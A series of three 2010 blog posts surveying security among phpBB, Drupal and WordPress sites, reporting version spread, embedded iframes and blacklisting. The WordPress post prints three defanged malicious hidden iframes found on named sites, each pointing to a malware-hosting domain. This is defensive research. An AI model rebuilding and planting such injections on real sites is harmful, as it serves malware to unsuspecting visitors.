Continuing with our series of articles on CMS security, this time we will be focusing on phpBB. We have previously profiled Joomla, WordPress, and Drupal.

I can already hear CMS purists howling that phpBB is not a CMS. In a way they’re right, but in other ways it is a CMS.  phpBB is without a doubt one of the most popular “Internet Forum” software packages available. Its ease of installation, various custom skins, and large installation base make it a very attractive choice for anyone who wishes to set up a community discussion board on the Internet. phpBB has had a few million downloads at the very least and enjoys a very active user group.

phpBB is popular among webmasters who want to set up Internet forums easily. Users of phpBB also benefit from a high level of customization. Another big plus for this CMS. Support for this CMS is awesome, in fact, phpBB has flash based video tutorials to help new users get started! Additionally, the phpBB developer community is very security conscious.

Next, we will take a close look at phpBB to understand security issues with active installations seen publicly on the Internet.

The aim of this experiment:

• To determine the number of phpBB sites using older versions of the CMS package (and hence vulnerable to attacks).
• Identify the associated scripts phpBB users install in addition to core phpBB functionality.
• Identify the vulnerabilities of using the associated scripts.

Experiment methodology:

An initial corpus of 100,000 websites was mined (via Google) using a keyword search to locate websites which discussed phpBB. Understandably, not all 100,000 websites would actually be using phpBB. Approximately 10,000 websites from this corpus were analyzed. Each website was analyzed to determine if it was generated by phpBB or its associated plugins. Each website was then cross-referenced with the Google Safe Browsing List. This experiment was conducted between February 1st and February 3rd, 2010.

Distribution of phpBB versions:

In 84.16% of sites running on phpBB a version number of the CMS package could be identified. We found the following distribution of phpBB versions in the websites examined (where versions of installations could be determined).

• 32.2% of sites were running version 2.x
  Note: Publicly available information about exploits for phpBB 2.x versions exist.
• 67.8% of sites were running version 3.x

We present the most interesting results:

• None of the phpBB sites were blacklisted by Google Safe Browsing.
• Only 2.5% of phpBB sites had Iframes embedded in them. None of the Iframes were obfuscated or tried to load malware.
• None of the phpBB sites which had Iframes were using JQuery.
  
• About 4.2% of all phpBB sites use jQuery.
  Note: JQuery has been known to be targeted by malicious hackers as a code-injection delivery mechanism.
• Only 0.3% of the phpBB sites use Mootools.
• Only 0.3% of the phpBB sites use AC_RunActiveContent.js.

Conclusion:

This limited experiment shows that like Drupal, phpBB installations seem to be relatively safe from the most prevalent forms of malware. However, the fact remains that there are quite a few vulnerable installations of phpBB which can fall prey to malicious hackers. This trend is echoed by our analysis of WordPress . It will be interesting to probe further and understand why the number of “infected” sites is not higher when there are vulnerable installations in the wild.

Till next time.

Report, Security CMS, phpbb, safety, Security, website

Continuing with this series of articles on CMS security, we have previously profiled Joomla and WordPress, this time we will be focusing on Drupal. Another, in a line of popular CMSs available today, Drupal, is used by tens of thousands of websites. Similar to WordPress, it has various plugins to customize the base installation and also sports interesting features such as “friendly links.” Quoting from the Drupal site, “Drupal uses Apache’s mod_rewrite to enable customizable URLs that are both user and search engine friendly.” Additionally, this particular CMS enjoys a large user community that is very serious about security.

Drupal is another prime example of a modern CMS. With more than 250,000 weekly hits to its APIs, this CMS has gained immense popularity! One would agree with the statement on the Drupal site which proclaims: “Tens of thousands of people and organizations are using Drupal to power scores of different web sites”.

Similar to the other CMSs which we have profiled in this series, Drupal offers the flexibility to manage content easily, add attractive themes and otherwise customize websites. Considering the plethora of themes available through the Drupal website, users seem to be very conscious of the attractiveness of their sites.

In this post we will be taking a close look at Drupal to understand any interesting issues with active installations publicly seen on the Internet.

The aim of this experiment:

• What associated scripts do Drupal users use in addition to core Drupal functionality?
• What are the vulnerabilities of using the associated scripts?

Experiment methodology:

An initial corpus of 100,000 websites was mined (via Google) using a keyword search to locate websites which discussed Drupal. Understandably, not all 100,000 websites were actually using Drupal. Approximately 10,000 websites from this corpus were analyzed. Each website was analyzed to determine if it was generated by Drupal or its associated plugins. Each website was then cross-referenced with the Google Safe Browsing List. This experiment was conducted between January 28th and January 30th, 2010.

We present the most interesting results in brief:

• None of the Drupal sites were blacklisted by Google Safe Browsing.
• 10.1% of Drupal sites had Iframes embedded in them. None of the Iframes were obfuscated or tried to load malware.
• 79.3% of Drupal sites which had Iframes were using JQuery.
  Note: JQuery has been known to be targeted by malicious hackers as a code-injection delivery mechanism.
• A whopping 66.2% of all Drupal sites use jQuery.
• None of the Drupal sites use Mootools.
• Only 1.7% of the Drupal sites use AC_RunActiveContent.js.

Conclusion:

This limited experiment shows that unlike some of the other CMS packages we have looked at, Drupal installations seem to be safe from the most prevalent malware. Furthermore, it seems that the correlation between Drupal users and jQuery users is much tighter than in the case of other CMS packages. It might be an interesting point to probe further, to understand why the number of infected Drupal installations is much less than the number of infected installations of other CMS systems while jQuery continues to be a common attack vector.

Till next time.

Report, Security CMS, drupal, safety, Security, website

Following up on our last article, this time we will be discussing issues relevant to, likely, the most popular CMS software package available today: WordPress.  WordPress, is used by a plethora of individuals and organizations, from bloggers to content publishers, news media outlets and many more. The great thing about this particular CMS is the level to which it can be customized and the number of plugins that exist for it.

WordPress is a prime example of a popular CMS. With more than 8,176 plugins and 73,037,498 downloads, this particular CMS package is extremely popular! I would agree with the statement on the WordPress site which proclaims: “WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability.” It is.

WordPress also offers the flexibility to manage content easily, add attractive themes and customize webpages to your hearts content. And again quoting the main site: “Plugins can extend WordPress to do almost anything you can imagine.” I would agree with this too.

In this post we will be looking at WordPress closely to understand any interesting properties of the active installations publicly seen on the Internet.

The aim of this experiment:

• To determine the number of WordPress sites using older versions of the CMS package (and hence vulnerable to attacks).
• What are the associated scripts do WordPress users use in addition to core WordPress functionality?
• What are the vulnerabilities of using the associated scripts?

Experiment methodology:

An initial corpus of 100,000 websites was mined (via Google) using a keyword search to locate websites which discussed WordPress. Understandably, not all 100,000 websites would actually be using WordPress. Approximately 10,000 websites from this corpus were analyzed. Each website was analyzed to determine if it was generated by WordPress or its associated plugins. Each website was then cross-referenced with the Google Safe Browsing List. This experiment was conducted between January 28th and January 30th, 2010.

Distribution of WordPress versions:

• 30.9% of sites were running version 2.9.1
• 4.7% of sites were running version 2.9
• 9.14% of sites were running version 2.8.6
• 4.7% of sites were running version 2.8.5
• 21.42% of sites were running version 2.8.4
• 7.1% of sites were running version 2.8.2
• 9.14% of sites were running version 2.7.1
• 2.3% of sites were running version 2.6.2
• 2.3% of sites were running version 2.6
• 2.3% of sites were running version 2.1.3
• 2.3% of sites were running version 2.0.4

We found the following distribution of WordPress versions in the websites examined (where versions of installations could be determined).
Note: Publicly available information about exploits for WordPress version < 2.8.6 exist.

We present the most interesting results in brief:

• Only 0.18% of the WordPress sites were blacklisted by Google Safe Browsing.
• Only 1.6% of WordPress sites had Iframes embedded in them. We found that all these sites harbored Iframe based malware. The Iframes were not obfuscated (examples provided below)
• 44.4% of WordPress sites which had Iframes were using JQuery.
  Note: JQuery has been known to be targeted by malicious hackers as a code-injection delivery mechanism.
• About 7.2% of all WordPress sites use jQuery.
• None of the WordPress sites use Mootools.
• None of the WordPress sites use AC_RunActiveContent.js.

Examples of malware found:

Now we present some examples of the non-obfuscated malware that was detected on some of the analyzed sites.

Example Code #1,  detected on: olgamake.com/wp-login.php?action=lostpassword

<if ra e src="hxxp://a151.scrappi ng.cc:80 80/ts/in. cgi ?op en" width=971 height=0 style="visibility: hi dden"></i fra m e>

Example Code #2,  detected on: makinghimknown.com/wp-login.php

<if ra e src="src="hxxp://ke ymydoma ins.com/" width="3" height="2"></i fra m e>

Example Code #3,  detected on: bisoppreview.com/wp-login.php

<if ra e src="hxxp://ntw porta l.com/" w idth="2" hei ght="4"</i fra m e>

Conclusion:

This limited experiment shows that there are many older WordPress installations active on the Internet. Furthermore, some of them are have been infected by non-obfuscated Iframes which point to malicious websites to load exploit code dynamically. WordPress makes for an easy target by lieu of its popularity and wide installation base. The people associated with this CMS software take security very seriously and have done a great job releasing security patches and stable releases. However, the fact remains that vulnerable versions of WordPress are live on the Internet and are hosting malware, primarily via infected Iframes.

Till next time.

News, Report CMS, safety, Security, website, Wordpress